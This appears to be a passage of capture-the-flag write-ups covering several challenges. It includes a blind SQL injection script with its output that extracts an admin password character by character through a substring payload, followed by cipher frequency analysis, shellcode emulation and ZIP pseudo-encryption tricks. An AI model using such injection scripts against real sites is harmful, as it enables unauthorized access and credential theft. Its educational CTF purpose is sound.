for i inrange(1, 31): found_char = False for char in charset: # Test: substring(pw, index, length) = char payload = f"'and(substring(pw,{i},1)='{char}')--" params = {'id': 'admin' + payload, 'pw': 'a'}
try: r = requests.get(f"{url}?id={params['id']}&pw={params['pw']}", cookies=cookies) if"OK"in r.text: password += char print(f"[+] Found char at index {i}: {char}") found_char = True break except Exception as e: print(f"[!] Error: {e}")
ifnot found_char: break
print(f"[SUCCESS] Final Password: {password}")
Running the script reveals the admin password:
1 2 3 4 5 6 7 8 9 10 11 12 13
[+] Found char at index 1: N [+] Found char at index 2: 1 [+] Found char at index 3: c [+] Found char at index 4: 3 [+] Found char at index 5: B [+] Found char at index 6: i [+] Found char at index 7: l [+] Found char at index 8: n [+] Found char at index 9: l [+] Found char at index 10: ) [+] Found char at index 11: + [+] Found char at index 12: + ...
for i inrange(1, MAX_LENGTH + 1): found = False for char in CHARSET: if check_str(i, extracted_string + char): extracted_string += char print(f"[+] Char {i}: {char}") found = True break
Analyze the character frequency in the ciphertext:
1 2 3 4 5 6 7 8 9 10
$ echo"$CIPHER" | fold -w1 | sort | uniq -c | sort -nr 92 n 78 z 69 g 65 c 65 b 62 v 60 i 59 y 58 p
In English text, the most common letters are E, T, A, O, I, N. Since
n is the most frequent cipher character (92 occurrences),
it likely maps to e in the plaintext. Similarly,
z (78 occurrences) might map to t.
Use an online frequency analysis solver or
substitution cipher tool to find the plaintext. Tools like quipqiup.com or frequency_analysis.html
can automatically break the cipher based on English word
frequencies.
The plaintext decrypts to a biography of Kim Yuna, a
renowned South Korean figure skater, and the flag is her name.
We have an intercepted message containing hidden x86 shellcode. The
challenge is to extract the secret by emulating the code.
The message file contains x86 machine code that, when executed,
pushes characters onto the stack one by one to form the flag. Use the
Unicorn Engine to emulate x86 code and monitor stack
writes:
The hint says brute-force is unnecessary, so this is likely a
file-format trick.
1 2
$ file So_Simple.zip So_Simple.zip: Zip archive data, ...
This challenge uses ZIP pseudo-encryption (the
encrypted flag bit is set even though the entry is not truly encrypted).
That can break normal extraction in some tools.
Method 1: Use a
pseudo-encryption aware tool
unar can extract So_Simple.zip
directly:
1 2 3 4 5
$ unar So_Simple.zip So_Simple.zip: Zip Am_I_key.zip (205 B)... OK. Am_I_key2.txt (4335 B)... OK. Am_I_key3.txt (1445 B)... OK.
Then extract the nested ZIP:
1 2 3 4 5 6 7 8 9 10
$ unar Am_I_key.zip Am_I_key.zip: Zip There_is_key.txt (61 B)... OK.
$ cat There_is_key.txt Isn't it so easy? Take it. dGE1dHlfSDR6M2xudXRfY29mZmVl
You can also fix the ZIP flags in a hex editor (or
radare2) by clearing the encryption bit in the local file
header / central directory entries (0x0908 -> 0x0008 for
relevant records). After patching, standard unzip tools work.